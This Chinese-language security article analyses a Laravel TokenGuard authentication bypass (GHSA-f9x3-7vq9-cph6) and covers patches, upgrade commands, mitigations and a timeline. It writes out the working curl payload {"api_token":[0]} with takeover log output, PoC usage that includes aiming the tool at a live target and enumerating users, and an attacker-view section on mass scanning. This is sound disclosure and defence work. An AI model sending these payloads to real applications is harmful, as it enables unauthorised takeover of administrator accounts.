Laravel TokenGuard 认证绕过:一个 JSON 数组直接接管你的账号

导语:一条 {"api_token":[0]},一个未登录的攻击者就能以数据库里第一个用户的身份登录你的 Laravel 应用——不需要密码,不需要 token,不需要任何交互。Hakai Security(昊海安全)旗下 Yokai(妖怪)研究团队在 10 月 20 日放出完整分析与一键复现实验室,CVSS 4.0 打分 9.2。这不是某个社区包的锅,是 Laravel 框架自带的守卫出了问题。

Hakai Security 官方推文

一、漏洞概要

先把关键信息摊开:

项目内容
漏洞编号GHSA-f9x3-7vq9-cph6
漏洞类型认证绕过 / 类型混淆引发的 SQL 隐式转换
CVSS v49.2(严重)
影响组件laravel/framework 内置 TokenGuard(令牌守卫)
受影响版本13.x < 13.29.0、12.x < 12.68.0、11.x < 11.56.1
利用前提用户表位于 MySQL 或 MariaDB
攻击代价一个未认证 POST 请求,零交互
发现者KIKOmanasijev(通过 GitHub 安全公告通道提交)
修复作者Taylor Otwell(泰勒·奥特韦尔),2026-08-24/25 提交
公告发布2026-10-19
研究博客2026-10-20

CVSS 向量写得很直白:CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N——网络可达、复杂度低、不需要任何权限、不需要受害者配合,机密性/完整性/可用性全线拉满。

AT:P 这一位值得注意:官方承认利用需要一点前置条件,那就是你的应用得真的在用 auth:api 中间件加 MySQL/MariaDB。但这个前提有多容易满足?Laravel 后端项目里,auth:api 是官方文档推荐的标准写法,MySQL 是最主流的默认数据库。两个条件同时满足的应用,在全球 Laravel 生态里占了绝大多数。


二、三道防线是怎么一起失效的

这个洞最漂亮的地方不在于任何一行代码,而在于三处各自”看起来没问题”的逻辑串在一起,形成了一条完整的崩陷链。任何一环单独拎出来都拦得住这个请求,三环同时在场,反而全都不管用。

2.1 第一环:PHP 的 empty() 对数组放行

漏洞点在 src/Illuminate/Auth/TokenGuard.php 的 user() 方法里。修复前的代码是这样的:

$token = $this->getTokenForRequest();

if (! empty($token)) {
    $user = $this->provider->retrieveByCredentials([
        $this->storageKey => $this->hash ? hash('sha256', $token) : $token,
    ]);
}

这是 Laravel 里最常见的一种写法:拿到凭据,先判断一下是不是空的,空的就别查了。

问题在于 PHP 的 empty() 对不同类型的判定规则。字符串、数组、布尔值、null,各有各的规则。关键的一条是:非空数组返回 false。也就是说 ! empty([0]) 的结果是 true,一个装了个 0 的数组,大摇大摆地通过了这道门。

而 getTokenForRequest() 拿到的是什么?它按配置从请求体里取 api_token 字段。你发 JSON:

{"api_token": [0]}

json_decode 之后,PHP 拿到的 $token 就是数组 [0]。类型检查这一关,从头到尾没有人做过。

2.2 第二环:数组值被悄悄转成 whereIn

$token 混过第一关,原样交给 EloquentUserProvider::retrieveByCredentials()。这个方法负责把凭据拼成查询条件,它长这样:

foreach ($credentials as $key => $value) {
    if (is_array($value) || $value instanceof Arrayable) {
        $query->whereIn($key, $value);
    }

这里是全链条里最安静的一环。这个 is_array() 分支本身是为数组批量查询设计的(比如按一组 ID 查用户),逻辑上完全合理。它不会想到自己接下来要处理的是一个认证凭据——凭据什么时候能是数组了?

于是原本应该生成的:

select * from users where api_token = ? limit 1

变成了:

select * from users where api_token in (?) limit 1

in 后面那个问号,绑定的是 JSON body 里的那个 0。因为它是从 JSON 解出来的真整数,PDO 绑定时用的是 PDO::PARAM_INT,驱动收到的是一个整型值,而不是字符串 '0'。

到这里为止,如果底层是 SQLite 或者 PostgreSQL,这个整数和字符串列的比较会直接报类型不匹配或者不匹配,什么都不会发生。可 MySQL 不是这么干的。

2.3 第三环:MySQL 的隐式数值转换

api_token 是个 VARCHAR 列。拿一个整数 0 去跟它比较,MySQL 和 MariaDB 会执行它自己的老规矩:把字符串转成数字再比。

而字符串转数字的规则是——从左往右读,遇到第一个非数字字符就停,取前面这一段。

  • 'poc-token-abc' → 第一个字符就是字母 → 转成 0
  • 'b7f9d2c4a8e...' → 第一个字符是字母 → 转成 0
  • '2d4f6h8j...' → 第一个字符是 2 → 转成 2

所以 api_token in (0) 实际问的问题变成了:”有没有哪个用户的 token,转成数字之后正好等于 0?”

答案是:几乎所有随机生成的 token 都满足。

研究团队在验证时直接跑了一条 SQL 确认这个行为:

SELECT 'poc-token-abc' = 0;
-- 返回 1

行命中,first() 返回这个用户,TokenGuard 拿到一个非空的 user 对象,认证通过。整个过程里没有任何地方报错,没有任何异常日志,也没有任何一行代码意识到发生了什么。

Laravel TokenGuard 常见用法

三、payload 只有一种形态是对的

这一点是这个漏洞最有意思的地方。PoC 仓库的 README 里专门列了两个不work的变体,理由全都是同一个:类型。

变体一:?api_token[]=0(query string 传数组)

curl "https://target/api/user?api_token[]=0"

query string 里的东西永远是字符串。所以 $token 拿到的是字符串数组 ['0'],PDO 绑的是 PARAM_STR,SQL 变成 api_token in ('0')。字符串比字符串,MySQL 不做转换,'0' 不等于任何一个真实 token,匹配失败。

变体二:?api_token=0(标量)

curl "https://target/api/user?api_token=0"

这个更讽刺——它死在了第一道门。PHP 里字符串 "0" 是假值,empty("0") 返回 true。攻击者老老实实发了个标量 0,结果被框架自己的空值检查拦下来了。

唯一可行的形态:

curl -X POST https://target/api/any-protected-route 
  -H "Content-Type: application/json" 
  -d '{"api_token":[0]}'

必须是 JSON body。必须是数组。里面那个元素必须是能解析成整数的东西(0、2、7 都行)。

这三个条件缺一不可,而攻击者需要在暗处试出来的恰恰是这条唯一路径——好在 --target 和 --targetUser 参数把 [0..9] 的枚举直接写进了 PoC,连试错都省了。

利用请求示例

四、一发请求,账号到手

PoC 在实验室里的实测输出,三行说明一切:

2026-10-19 22:41:15,177 [*] vuln  POST {"api_token": [0]} -> 200 user@email.com (22 ms)
2026-10-19 22:41:15,188 [*] vuln  POST {"api_token": "b7f9d2c4…"} -> 200 user@email.com (10 ms)
2026-10-19 22:41:15,196 [*] fixed POST {"api_token": [0]} -> 401 unauthenticated (7 ms)

第一行:一个完全不带凭据的请求,服务器返回 200,并且告诉攻击者”你现在是 user@email.com“。这就是完整的账号接管。

第二行:用真实 token 正常登录依然工作——说明这个应用确实在用 TokenGuard,也说明这不是测试环境的假象。

第三行:同一个 payload 打到打了补丁的版本上,401 unauthenticated。

命中的是谁

这里有个很讨厌的细节。查询带 limit 1,返回的是数据库里第一个 token 不以数字开头的用户。

而现在的 API token 基本都是 Str::random(40) 或者 UUID 这类方式生成的,绝大多数以字母开头。结果就是:

  • 遍历 [0..9] 这十个数字,等于在按 user_id 顺序试
  • 第一个大概率是 id=1 的那个用户
  • 在 Laravel 项目里,种子数据里的第一个用户,通常就是管理员

所以攻击者不需要”猜中某个用户”,他只需要一发请求,然后拿返回的 user_id 看看自己是几号管理员。

影响面有多大

任何挂了 auth:api 中间件、或者配置了 token driver 的 guard 的路由,都在射程内。字段名固定是 api_token(或者 guard 配置里的 storageKey)。

实际操作上,这意味着:

  • 用户资料接口 —— 读改全部用户数据
  • 订单、支付、订阅类接口 —— 直接操作资金
  • 管理后台接口 —— 如果管理员菜单没做角色二次校验,一发请求直通
  • 任何基于该用户的业务逻辑 —— 全部以这个人的身份执行

一次成功的认证绕过,后面挂什么就看应用本身了。


五、完整复现:一行命令拉起双版本实验室

Hakai 这次把 PoC 做得很完整,一个 GitHub 仓库直接能跑:

git clone https://github.com/hakaioffsec/GHSA-f9x3-7vq9-cph6-PoC
cd GHSA-f9x3-7vq9-cph6-PoC
docker compose up -d --build

首次构建大概 2 到 4 分钟。起来之后:

服务地址版本
vulnerable(漏洞版)http://localhost:889113.x#0189a60b(修复前最后一个 commit)
fixed(修复版)http://localhost:889213.x#9b21ce0a(修复后第一个 commit)
MySQL 8内部网络,不对外暴露—

两个 Laravel 应用跑在同一个 MySQL 8 实例上,同一份数据,唯一差别就是框架版本。这样对照实验才有意义——你看到的 200 和 401 的差别,只来自那三行补丁。

种子数据是两个用户,专门设计过:

  • user@email.com → api_token = b7f9d2c4a8e6b1f3d5a0c9e2b4d6f8a1c(字母开头)
  • user2@email.com → api_token = 2d4f6h8j...(数字开头)

第二个用户存在的意义是演示枚举:{"api_token":[2]} 可以精确命中数字开头的那个,从而说明攻击者能通过 [0..9] 遍历定位到任意用户。

PoC 的常用参数

# 默认跑三发:漏洞版利用 / 正常登录 / 修复版利用
python poc.py

# 挂代理,用 Burp 或 mitmproxy 看请求
python poc.py --proxy http://127.0.0.1:8080

# 枚举 [0..9],定位指定 user_id
python poc.py --target 2

# 按邮箱定位
python poc.py --targetUser user2@email.com

# 打真实目标
python poc.py https://vulnerable.com

每次请求的服务端判定日志会写到 logs/vuln.log 和 logs/fixed.log,可以直接拿去对照分析。清理环境用 docker compose down -v。

另外,Hakai 的 Hacking Club 平台也放了这个漏洞的对应挑战(challenge 155),可以在完全受控的环境里练手。


六、修复:三行 is_string,以及一个版本号的坑

Laravel 团队的修复思路简单到有点朴素——在守卫边界上补一个类型检查,让非字符串的凭据根本没机会走到 provider 那一层。

-        if (! empty($token)) {
+        if (is_string($token) && ! empty($token)) {

-        if (empty($credentials[$this->inputKey])) {
+        if (! is_string($credentials[$this->inputKey] ?? null) || empty($credentials[$this->inputKey])) {

两处都加了 is_string()。第一处在 TokenGuard,第二处在 provider 侧,属于双保险——就算将来有人又从别的路径塞进来一个数组,也会在第二道门被拦下。

相关 commit:

分支commit
13.x9b21ce0a9bb
12.x8dbb08bc(回移植)
11.x5056ca53(回移植)

这里有个容易踩的细节。 研究团队核对 Git 历史后确认,补丁实际首次发布的 tag 是 v13.27.0 / v12.68.0 / v11.56.1。但官方公告把修复版本标成了 13.29.0 / 12.68.0。官方在公告里也解释了原因:13.27.0 到 13.29.0 之间没有任何改动碰过 TokenGuard.php,标高一个版本是保守做法,避免误伤。

所以如果你要卡版本,可以按公告走 13.29.0;如果你的版本管理比较精细,知道 v13.27.0 就已经带着补丁也行。但别反向操作——不要以为 13.27.0 到 13.29.0 之间存在什么”额外的安全增强”,没有。

升级建议

# 13.x
composer require laravel/framework:^13.29.0

# 12.x
composer require laravel/framework:^12.68.0

# 11.x
composer require laravel/framework:^11.56.1

composer update laravel/framework
composer audit

七、攻击者视角复盘:这个洞为什么值钱

站在红队的位置上评价,这个漏洞的”性价比”高得离谱。拆开看有四点:

第一,攻击面是框架自带代码,不是第三方包。 社区包出漏洞,好歹能怪作者没做好安全评审。TokenGuard 是 Laravel 框架 src/Illuminate/Auth/ 里的核心守卫,是官方文档教用户用的 auth:api 的底座。你要防御它,得改框架版本,而不是加个 WAF 规则就能绕过去。

第二,利用链上没有任何一步需要交互或者权限。 无需凭据、无需诱导点击、无需社工、无需竞争窗口。从拿到域名到拿到管理员身份,就是一个 curl。批量扫 Laravel 应用的成本低到可以写成脚本横推整个资产清单。

第三,默认命中的是最有价值的那个账号。 因为返回的是”第一个 token 不以数字开头的用户”,而这个条件天然偏向 id 小、注册早的用户。在大量项目里,这就是最早那批管理员。攻击者甚至不用挑目标,工具默认行为就帮他挑好了。

第四,隐蔽性极强。 应用日志里会多出一条 200 的请求,字段名是标准的 api_token,状态码是正常业务的状态码。不开数据库审计的话,事后回溯基本查不出异常。数值转换这件事发生在 MySQL 内部,PHP 层面拿到的甚至是一个”合法的”用户对象——从框架的视角看,什么都没发生。

而漏洞的本质,是三层边界各管一段,谁都没管”类型”。

  • TokenGuard 管了”空不空”
  • Provider 管了”能不能批量”
  • MySQL 管了”能不能转换”

每一层的判断在自己的上下文里都是合理的。缺的是那个把”凭据必须是字符串”当成不变量的检查。PHP 生态里这类漏洞反复出现——松散比较 ==、类型 juggling、strcmp() 返回 int——根子都在同一个地方:这门语言为了灵活,默许了隐式转换,而转换规则写在数据库手册里,不在 PHP 手册里。

顺带一提,修复里那个 empty() 的坑挺有意思。写补丁的人显然被 empty("0") 咬过一次——否则不会在加 is_string() 的同时还保留 && ! empty(),还额外在 provider 侧再补一道。攻击面是被验证出来的。


八、没时间升级的话,先做这几件事

如果你的 Laravel 版本还没来得及升,临时缓解手段按优先级排:

入口层拦截数组型凭据。 在 WAF 或反向代理层加规则,匹配 JSON body 里的数组型 api_token:

(api_token"s*:s*[)

这条规则覆盖面有限(可能漏编码变体),但成本极低,先挡住再说。

收敛凭据字段的输入类型。 如果你控制得了应用代码,在请求验证规则里显式声明 api_token 为 string 类型,让它在进入 TokenGuard 之前就被拒掉。

查历史日志。 重点找这几类请求:Content-Type: application/json + body 里 api_token 是数组 + 返回 200 的记录。有 WAF 的话,重点翻 api_token 相关的拦截日志。这个特征相当明确,回溯可行性很高。

确认数据库类型。 如果你的用户表根本不在 MySQL/MariaDB 上——用的是 SQLite、PostgreSQL、SQL Server——那这条利用链在类型转换那一环就断了,风险等级可以从严重降下来。不是零风险,但至少不是一个 9.2。


九、时间线

日期事件
2026-08-24 ~ 08-25Taylor Otwell 提交修复,13.x commit 9b21ce0a9bb,并回移植至 12.x / 11.x
修复发布首个带补丁的 tag:v13.27.0 / v12.68.0 / v11.56.1
2026-10-19GitHub 安全公告 GHSA-f9x3-7vq9-cph6 公开
2026-10-20Yokai 研究团队发布完整分析与 PoC,Hakai 官方推文转发
2026-10-20Hacking Club 上线对应训练挑战(challenge 155)

从修复提交到公告公开,中间隔了将近两个月。这段时间是白给的攻击窗口——如果你的应用跑在受影响的版本上,那这两个月足够被扫个来回。


十、素材出处

本文为编译报道,技术细节综合以下公开来源:

  • 研究博客:《[EN] GHSA-f9x3-7vq9-cph6: Authentication Bypass in Laravel TokenGuard》,Yokai 研究团队,2026-10-20

https://yokai.hakaisecurity.io/en-ghsa-f9x3-7vq9-cph6-authentication-bypass-in-laravel-tokenguard/

  • PoC 与实验环境:https://github.com/hakaioffsec/GHSA-f9x3-7vq9-cph6-PoC
  • 官方安全公告:GHSA-f9x3-7vq9-cph6

https://github.com/laravel/framework/security/advisories/GHSA-f9x3-7vq9-cph6

  • 官方推文:Hakai Security,2026-10-20

https://x.com/HakaiOffsec/status/2112549514502418898

  • 漏洞发现者:KIKOmanasijev
  • 训练挑战:Hacking Club challenge 155

https://app.hackingclub.com/training/challenges/155

合规提示:本文所述内容仅用于安全研究与防御验证。PoC 已在隔离环境中完整复现,切勿用于未授权的目标。

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容